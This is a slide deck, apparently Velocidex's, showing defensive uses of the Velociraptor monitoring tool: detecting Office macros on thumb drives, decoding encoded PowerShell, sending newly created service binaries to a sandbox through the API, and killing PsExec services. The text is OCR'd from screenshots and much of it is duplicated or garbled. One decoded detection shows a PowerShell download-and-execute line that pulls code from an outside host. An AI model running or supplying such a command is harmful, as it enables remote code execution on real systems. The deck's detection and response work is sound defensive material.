Windows Det   Windows Det </td <td>Window</td> <td>ows.Det</td> <td>Windows.Detection.Thumbdrives.OfficeMacros</td> <td>Users inserting Thumb drive contain malware or other un</td> <td>es or other Removable drive pose a constant security risk. The external drive may ndesirable content. Additionally thumb drives are an easy way for users to exfiltrate</td>	Window	ows.Det	Windows.Detection.Thumbdrives.OfficeMacros	Users inserting Thumb drive contain malware or other un	es or other Removable drive pose a constant security risk. The external drive may ndesirable content. Additionally thumb drives are an easy way for users to exfiltrate
Windows.Det       Image: Source         Windows.Det       Image: Source	Window	ows.Det		documents.	
We exclude very large removable drives since they might have too many files.     We exclude very large removable drives since they might have too many files.   Parameters   Name   officeExtensions   (.(xls xlsm doc docx ppt pptm)\$   yaraRule   Source	VVindov	ows.Det		I his artifact automatically so detect exfiltration attempts of	cans any office files copied to a removable drive for keywords. This could be useful to of restricted documents.
Parameters         Name       Default         officeExtensions       \.(xls xlsm doc docx ppt pptm)\$         yaraRule       yaraRule         Source       Source				We exclude very large remo	ovable drives since they might have too many files.
Name     Default       officeExtensions     \.(x1s[x1sm]doc]docx[ppt]pptm)\$       yaraRule		9		Parameters	
officeExtensions       \.(x1s x1sm doc docx ppt pptm)\$         yaraRule <pre></pre>		Ä		Name	Default
yaraRule yaraRule strings: \$5 = "this is my secret" wide nocase \$b = "this is my secret" nocase condition: any of them } Source				officeExtensions	\.(xls xlsm doc docx ppt pptm)\$
Source				yaraRule	<pre>rule Hit {   strings:     \$a = "this is my secret" wide nocase     \$b = "this is my secret" nocase     condition:         any of them }</pre>
				Source	
2019-07-24 19:08:54 0					2019-07-24 19:08:54 UT



						1	aptor   View Artifacts × +			_		×
						←	C A Not secure   https://localhost:8889/app.html#/view_artifacts			☆		:
			<b>⊛</b> ←	Velocirapt → C	or   View Artifact	Ξ	Search Box Q Velocidex-01  Connected			0		nick
₩	$ ightarrow { m C}$	or   View Artifact-	Ξ		Search Box	<b>*</b>	► 🖋 û					
=	훷 [ +	Search Box	<b>*</b>	+	thumbdrives	* /~ ©	thumbdrives Windows.Detection.Thumbdrives.List Windows.Detection.Thumbdrives.OfficeKeywords	Windows.Detect	ion.Thumbdrives.OfficeMacro	3		
¢			۶		Windows.Det		Windows.Detection.Thumbdrives.OfficeMacros	Users inserting Thumb drives or o contain malware or other undesira	ther Removable drive pose a constant security risk. The extern ible content. Additionally thumb drives are an easy way for use	al drive i rs to exfi	may Itrate	
		thumbdrives Windows.Det Windows.Det			Windows.Det	- - - -		documents. This artifact watches for any removable We exclude very large removable <b>Parameters</b> Name officeExtensions Source 1 SELECT * FROM foreach( 2 row = { 3 SELECT * FROM Artifa 4 WHERE FullPath =~ of 5 }, 6 query = { 7 SELECT * from olevba 8 }) 9	<pre>vable drives and scans any added office documents for VBA m drives since they might have too many files. Default \.(xls xlsm doc docx ppt pptm)\$ ct.Windows.Detection.Thumbdrives.List() ficeExtensions (file=FullPath)</pre>	acros.		
									201	)-07-24 1	19:09:	20 UTC
							11 SELECT * FROM diff(	2019	2019-07-24 19:08:54 UTC			

# Server event artefacts

0

# Server event artifacts are similar to the client event artifacts, except they run on the server

# Scenario: Monitoring for encoded PowerShell

# Monitor for encoded PowerShell

- PowerShell encoded commands are easy to decode individually, but harder at scale
- By default, Velociraptor watches all endpoint process execution and sends logs to the server
- When the server sees PowerShell, it can check for encoded commands and decodes them automatically



			·••••				
Velociraptor   C.d504fae95fd	07f3 × +			-	-	đ	×
→ C ▲ Not secu	re   https://localhost:8889/app.html#/clien	nts/C.d504fae95fdb7f3	f3f/cli	lient_events	$\stackrel{\circ}{\Box}$		:
Search Box	Q Velocidex-01	connected			0	ni	ck
📩 🗷 🖉 V	indows.Events.ProcessCreation ▼ 20	019-07-26				•	
Windows	.Events.ProcessCreat	ion					
Show 10 🔻	entries			Search: encoded			]
_ts 🔺	Timestamp $\triangleq$ PPID $\triangleq$ PID $\triangleq$ Ni	ame 🍦 Comma	mandl	dLine			
1564101547	2019-07- 26T00:47:45Z 6752 7972 pov	wershell.exe SQBFAF	hell -n \FgAlA	-nop -noni -encodedcommand IAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBI/	GIAQ	wBsAG	ikA
Showing 1 to	of 1 entries (filtered from 17 total entries)			Previous	1	Next	:
4							F
				2019-0	7-26 0	0:41:11	1 U <sup>-</sup>
						_	_

			-
射 Velocirapt	or   C.d504fae95fdb7f3 × +	- 0 ×	
$\leftrightarrow$ $\rightarrow$ G	A Not secure https://localhost:8889/app.html#/clients/C.d504fae95fdb7f3f/client_events	☆ 🔒 :	
= 훷 🗌	Search Box Q Velocidex-01  connected	0 nick	
*	☑     ☑ Windows.Events.ProcessCreation ▼     2019-07-26	•	
ф "К. М	Vindowa Eventa Dragoga Creation		
V	VINDOWS.EVENIS.ProcessCreation		
	Show 10 • entries Search: encoded		
	_ts  Time powershell -nop -noni -encodedcommand		
-	1564101547 2019-0 SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4	4AZQB0AC4	4AVwBIAGIAQwBsAGkA
Э	Showing 1 to 1 of 1 en		
Ä	4	•	
	201	19-07-26 00:41:11 UT	c 🥰 🗎



Velociraptor   C.d504fae95fdb7f3 × +	
← → C A Not secure https://localhost:8889/app.html#/clients/C.d504fae95fdb7f3f/client_events	
- 🗆 ×	
$\leftrightarrow \rightarrow \mathbb{C}  \textbf{A Not secure}  \frac{\text{https:}}{\text{https:}} / \text{localhost:} 8889/app.html#/server_events} \qquad \qquad \Rightarrow \mathbb{C}  \textbf{A}  \textbf{Not secure}  \frac{\text{https:}}{\text{https:}} / \frac{1}{10 \text{ calhost:}} = 1 + 1 + 1 + 1 + 1 + 1 + 1 + 1 + 1 + 1$	
Image: Search Box     Image: Open connected         Image: Open connected         Image: Open connected	
Add server monitoring.	
Winc powershell an encoded script. This artifact	
Server: Powershell.EncodedCommand	
Shov So Velociraptor   Server Events X +	×
$\underline{ts} \otimes \overleftarrow{\leftarrow} \rightarrow \overrightarrow{C}  \underline{A} \text{ Not secure }   \underline{https://localhost:8889/app.html#/server_events} $	:
1564 E Rearch Box O Velocidex-01  Connected	nick
Show     Image: Constraint of the second secon	
Encoded Powershell	
It is possible to pass powershell an encoded script. This artifact decodes the scripts.	
NOTE: The client must be running the Windows.Events.ProcessCreation event artifact to retrieve process execution logs.	
Decoded Powershell commands	
Show 10 V entries	
Clientld FQDN Script	÷
C.d504fae95fdb7f3f Velocidex-01 IEX (New-Object System.Net.WebClient).downloadstring('http://squirreldirectory.com/a')	
Showing 1 to 1 of 1 entries	Next
	HEAL

Welociraptor   C.d504fae95fdb7f3 × +	
← → C 🔺 Not secure   https://localhost:8889/app.html#/clients/C.d504fae95fdb7f3f/client_events 🖈 🕃 :	
- 🗇 X	
$\leftrightarrow \rightarrow \mathbb{C}  \textbf{A Not secure }  \texttt{https://localhost:8889/app.html#/server_events} \qquad \qquad \Rightarrow \mathbb{C}  \textbf{A Not secure }  \texttt{https://localhost:8889/app.html#/server_events}$	
Image: Search Box     O     Velocidex-01     O onnected	
Add server monitoring.	
VVIIIC     powershell       It is possible to pass powershell an encoded script. This artifact       decodes the scripts.	
Shov J Velociraptor   Server Events X +	- 0 ×
	☆ 👶 :
1562     Image: Search Box     Image: Search Box     Image: Velocidex-01     Image: Connected	0 nick
Show     Image: Comparison of the server and the server	•
Encoded Powershell	
It is possible to pass powershell an encoded script. This artifact decodes the scripts.	
NOTE: The client must be running the Windows.Events.ProcessCreation event artifact to retrieve process execution logs.	
Decoded Powershell commands.	
Search:	
۲. C	
IEX (New-Object System.Net.WebClient).downloadstring('http://squirreldirectory.c	om/a')
	· ·

# Introduce automation through the API



# Scenario: Monitor for service creation and automatically sandbox the executable



#### upload

Search Box

 $\equiv$ 

1

 $\diamond$ 

۲

Admin.Events.PostProcessUploads

- Admin.System.CompressUploads
- Linux.Applications.Chrome.Extensions.Upload

Q

- Server.Analysis.Triage.PowershellConsole
- Triage.Collection.Upload
- Triage.Collection.UploadTable
- Windows.Detection.ProcessMemory
- Windows.Detection.Service.Upload
- Windows.Registry.NTUser.Upload
- Windows.System.Amcache
- Windows Triago ProcossMomony

#### Windows.Detection.Service.Upload

#### Type: client event

When a new service is installed, upload the service binary to the server

#### Source

- 1 SELECT ServiceName, upload(file=ImagePath) as Upload, 2
  - Timestamp, EventData, System
- 3 FROM Artifact.Windows.Events.ServiceCreation() 4

5

```
def submit file(filename):
    joe = jbxapi.JoeSandbox(apikey=KEY, accept_tac=True)
    with open(filename, "rb") as f:
        return (joe.submit_sample(f))
```

```
def run(config):
    creds = grpc.ssl_channel_credentials(
        root_certificates=config["ca_certificate"].encode("utf8"),
        private_key=config["client_private_key"].encode("utf8"),
        certificate_chain=config["client_cert"].encode("utf8"))
    options = (('grpc.ssl_target_name_override', "VelociraptorServer",),)
```

```
with grpc.secure_channel(config["api_connection_string"],
                          creds, options) as channel:
    stub = api_pb2_grpc.APIStub(channel)
    request = api_pb2.VQLCollectorArgs(
        Query=[api_pb2.VQLRequest(
            VQL="""SELECT <u>ClientId</u>, Timestamp, <u>UploadName</u>,
                       file_store(path=VFSPath) AS Path
                    FROM watch monitoring(artifact='System.Upload.Completion')""",
```

)])

```
for response in stub.Query(request):
    for row in json.loads(response.Response):
         for path in row["Path"]:
              result = submit_file(path)
              print("%s: <u>Submited</u> %s for %s (%s)" % (
                   row["Timestamp"],
                  row["<u>ClientId</u>"],
row["<u>UploadName</u>"],
                   result["submission_id"]))
```

Server.Analysis.Triage.PowershellConsole

Triage.Collection.Upload

Triage.Collection.UploadTable

Windows.Detection.ProcessMemory

Windows.Detection.Service.Upload

Windows.Registry.NTUser.Upload

Windows.System.Amcache

Windows Triago Procoss Momony

#### Source

1 SELECT ServiceName, upload(file=ImagePath) as Upload, 2

- Timestamp, EventData, System
- 3 FROM Artifact.Windows.Events.ServiceCreation()



#### ce.Upload

binary to the server



def submit\_file(filename):
 joe = jbxapi.JoeSandbox(apikey=KEY, accept\_tac=True)
 with open(filename, "rb") as f:
 return (joe.submit\_sample(f))

### Function to submit file to online sandbox

```
def run(config):
    creds = grpc.ssl_channel_credentials(
        root_certificates=config["ca_certificate"].encode("utf8"),
        private_key=config["client_private_key"].encode("utf8"),
        certificate_chain=config["client_cert"].encode("utf8"))
    options = (('grpc.ssl_target_name_override', "VelociraptorServer",),)
    with grpc.secure channel(config["api connection string"],
```

```
creds, options) as channel:

stub = api_pb2_grpc.APIStub(channel)

request = api_pb2.VQLCollectorArgs(

Query=[api_pb2.VQLRequest(

VQL="""SELECT <u>ClientId</u>, Timestamp, <u>UploadName</u>,

file_store(path=<u>VFSPath</u>) AS Path

FROM watch monitoring(artifact='System.Upload.Completion')""",
```

```
)])
```

```
for response in stub.Query(request):
    for row in json.loads(response.Response):
        for path in row["Path"]:
            result = submit_file(path)
            print("%s: Submited %s for %s (%s)" % (
                row["Timestamp"],
                row["ClientId"],
                row["UploadName"],
                result["submission_id"]))
```





def submit\_file(filename): joe = jbxapi.JoeSandbox(apikey=KEY, accept\_tac=True) with open(filename, "rb") as f: return (joe.submit\_sample(f))

### Function to submit file to online sandbox

```
def run(config):
    creds = grpc.ssl_channel_credentials(
        root_certificates=config["ca_certificate"].encode("utf8"),
        private_key=config["client_private_key"].encode("utf8"),
        certificate_chain=config["client_cert"].encode("utf8"))
    options = (('grpc.ssl_target_name_override', "<u>VelociraptorServer</u>",),)
```

)])

```
for response in stub.Query(request):
    for row in json.loads(response.Response):
        for path in row["Path"]:
            result = submit_file(path)
            print("%s: <u>Submited</u> %s for %s (%s)" % (
                row["Timestamp"],
                row["<u>ClientId</u>"],
                row["<u>UploadName</u>"],
                result["submission_id"]))
```

### **Connect to Velociraptor API**



def submit\_file(filename): joe = jbxapi.JoeSandbox(apikey=KEY, accept\_tac=True) with open(filename, "rb") as f: return (joe.submit\_sample(f))

### Function to submit file to online sandbox

def run(config):
 creds = grpc.ssl\_channel\_credentials(
 root\_certificates=config["ca\_certificate"].encode("utf8"),
 private\_key=config["client\_private\_key"].encode("utf8"),
 certificate\_chain=config["client\_cert"].encode("utf8"))
 options = (('grpc.ssl\_target\_name\_override', "<u>VelociraptorServer</u>",),)

### **Connect to Velociraptor API**

### Monitors files uploaded to server

for response in stub.Query(request):
 for row in json.loads(response.Response):
 for path in row["Path"]:
 result = submit\_file(path)
 print("%s: <u>Submited</u> %s for %s (%s)" % (
 row["Timestamp"],
 row["<u>ClientId</u>"],
 row["<u>UploadName</u>"],
 result["submission\_id"]))
def submit\_file(filename):
 joe = jbxapi.JoeSandbox(apikey=KEY, accept\_tac=True)
 with open(filename, "rb") as f:
 return (joe.submit\_sample(f))

#### Function to submit file to online sandbox

**Connect to Velociraptor API** 

def run(config):
 creds = grpc.ssl\_channel\_credentials(
 root\_certificates=config["ca\_certificate"].encode("utf8"),
 private\_key=config["client\_private\_key"].encode("utf8"),
 certificate\_chain=config["client\_cert"].encode("utf8"))
 options = (('grpc.ssl\_target\_name\_override', "VelociraptorServer",),)

#### Monitors files uploaded to server

for response in stub.Query(request):
 for row in json.loads(response.Response):
 for path in row["Path"]:
 result = submit\_file(path)
 print("%s: <u>Submited</u> %s for %s (%s)" % (
 row["Timestamp"],
 row["<u>ClientId</u>"],
 row["<u>UploadName</u>"],
 result["submission\_id"]))

#### Submit each uploaded file to online sandbbox





F:\bin\malware>sc create fake binpath="f:\bin\malware\printsrv32.exe" [SC] CreateService SUCCESS

F:\bin\malware≻sc create fake binpath="f:\bin\malware\printsrv32.exe" [SC] CreateService SUCCESS

#### Event triggers the action

(Dev3) 130 mic@DevBox:~/projects/joe\_sandbox\$ python submitter.py 1564080817: Submited C.55bfdb9f660d1172 for f:\bin\malware\printsrv32.exe (1053242)



F:\bin\malware>sc create fake binpath="f:\bin\malware\printsrv32.exe" [SC] CreateService SUCCESS



#### Event triggers the action

jects/joe\_sandbox\$ python submitter.py db9f660d1172 for f:\bin\malware\printsrv32.exe (1053242)

## Which submits the executable

### Turn monitoring into responding



### Scenario: Block PsExec remoting

psexec

Server.Alerts.PsExec

Windows.Detection.PsexecService

Windows.Detection.PsexecService.Kill

wide nocase ascii: psexec yaraRule Source 1 LET file scan = SELECT Name AS ServiceName, 2 PathName, File.ModTime AS Modified, 3 File.Size AS FileSize, 4 String.Offset AS StringOffset, 5 String.HexData AS StringContext, 6 now() AS Timestamp, 7 ServiceType, PID, 8 SELECT Name, ExecutablePath, CommandLine 9 10 FROM pslist() WHERE ParentProcessID = PID 11 LIMIT 2 12 AS ChildProcess 13 FROM yara(rules=yaraRule, files=PathName) 14 WHERE Rule 15 LET service creation = SELECT Parse, Parse.TargetInstance.Name AS Name, 16 17 Parse.TargetInstance.PathName As PathName, Parse.TargetInstance.ServiceType As ServiceType, 18 Parse.TargetInstance.ProcessId AS PID 19 20 FROM wmi events( query="SELECT \* FROM InstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32 Service'', 21 22 wait=5000000, namespace="R00T/CIMV2") 23 24 SELECT \* FROM foreach( row=service creation, 25 26 query=file scan) 27 28

V

psexec		yaraRule	wide nocase ascii: psexec
Server.Alerts.PsExec			
Windows.Detection.PsexecService		Source	
Windows.Detection.PsexecService.Kill	- \	1 LET file scan = SELECT	Name AS ServiceName
		2 PathName, File.Mo 3 File.Size AS File 4 String.Offset AS	dTime AS Modified, Size, StringOffset,
Windows.Detecti	on.PsexedService.Kill		(Tingcontext)
Type: client_event			utablePath Commandline
Psexec can launch a service remot of the service are killed.	ely. This artifact implements a client side respons	es :RE ParentProcessID = PID	
NOTE: There is an inherent race be	etween detection and response. If the psexec is v	files=PathName)	
Parameters			ECT Parse, ame AS Name.
Name D	efault		athName <b>As</b> PathName, erviceType <b>As</b> ServiceType,
yaraRule	vide nocase ascii: psexec		rocessId AS PID
Source			thstancecreationevent within i where targetinstance is winsz_service ,
<pre>1 SELECT * FROM foreach( 2 row={ SELECT * FROM Artif 3 query={ 4 SELECT ServiceName, Pa 5 ServiceType, Ch 6 argv=["taskkill", "/ 7 })</pre>	act.Windows.Detection.PsexecService() }, thName, Modified, FileSize, Timestamp, ildProcess, Stdout, Stderr FROM execve( PID", PID, "/T", "/F"])		
8 9			
© Velocidex Enterprises	2019 / www.velocidex.com		

psexec		yaraRule	wide nocase ascii: psexec	
Server Alerts PsExec				
Windows Detection PsexecService	F:\>bin\PsExec.exe	e -r foobar -s "c	cmd.exe" /c sleep 60	
Windows.Detection.Psexecservice. Windows.Detection.Psexecservice. Type: client_event Psexec can launch a service rer of the service are killed. NOTE: There is an inherent race Parameters Name yaraRule	PsExec v2.2 - Exec Copyright (C) 2001 Sysinternals - WWW notely. T e betwee cmd.exe exited on Default wide nocase ascii: psexe:	ute processes re L-2016 Mark Russi v.sysinternals.co	emotely inovich om th error code 1. CI Parse, ime AS Name, ithName As PathName, irviceType As ServiceType, rocessId AS PID InstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32 State	Service'",
Source <pre> select * FROM foreach(    row={ select * FROM Ar     query={         select ServiceName,         ServiceType,         argv=["taskkill",         })         s         9         </pre>	tifact.Windows.Detection.PsexecService() }, PathName, Modified, FileSize, Timestamp, ChildProcess, Stdout, Stderr FROM execve( "/PID", PID, "/T", "/F"])			



psexec		yaraRule		wide nocase ascii: psexec	
Server.Alerts.PsExec					
Windows.Detection.Psexe	F:\>bin	PsExec.exe -r fooba	ar -s "cmd.	.exe" /c sleep 60	
Windows.Detection Sect Type: client_even Psexec can launch a se of the service are kille NOTE: There is an inhe Parameters Name	Detection t ervice remotely. T erent race betwee Copyrigh Sysinter Sysinter cmd.exe	/2.2 - Execute proce nt (C) 2001-2016 Man rnals - www.sysinter exited on TESTCOMPU	esses remot rk Russinov rnals.com JTER with e	tely vich	
yaraRule	wide nocase ascii: p	sexec		InstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_Se	ervice'",
Source					
1 SELECT * FROM fo 2 row={ SELECT * 3 query={ 4 SELECT Serv 5 Serv 6 argv=["ta 7 })	oreach( <b>FROM</b> Artifact.Windows.Detectio viceName, PathName, Modified, Fi viceType, ChildProcess, <b>Stdout</b> , askkill", "/PID", PID, "/T", "/F	n.PsexecService() <b>}</b> , leSize, <b>Timestamp</b> , Stderr <b>FROM</b> execve( "])			
89				Note: this is a race condition	

### So, what do you want to find?

### Where to from here?

# Velociraptor is a work in progress - please be patient

- Our development roadmap includes:
  - Sysmon integration
  - Better presentation of results
  - Improving the user interface
  - Expanding the artefact library
  - Further documentation
  - More artefact parsers
  - A true kernel driver for Windows

### Where to from here?

# Velociraptor is a work in progress - please be patient

- Our development roadmap includes:
  - Sysmon integration
  - Better presentation of results
  - Improving the user interface
  - Expanding the artefact library
  - Further documentation
  - More artefact parsers
  - A true kernel driver for Windows

### Where can you start?

- Visit <u>www.velocidex.com</u> for links to docs and downloads
- Download the latest release
- RTFM 😌
- Setup a test deployment
- Send us your ideas and input
- Contribute back to the project

Nick Klein Director, Velocidex Enterprises nick@velocidex.com

Director, Klein & Co. nick@kleinco.com.au

SANS DFIR Certified Instructor

Mike Cohen

Director, Velocidex Enterprises mike@velocidex.com

Thanks

#### www.velocidex.com

0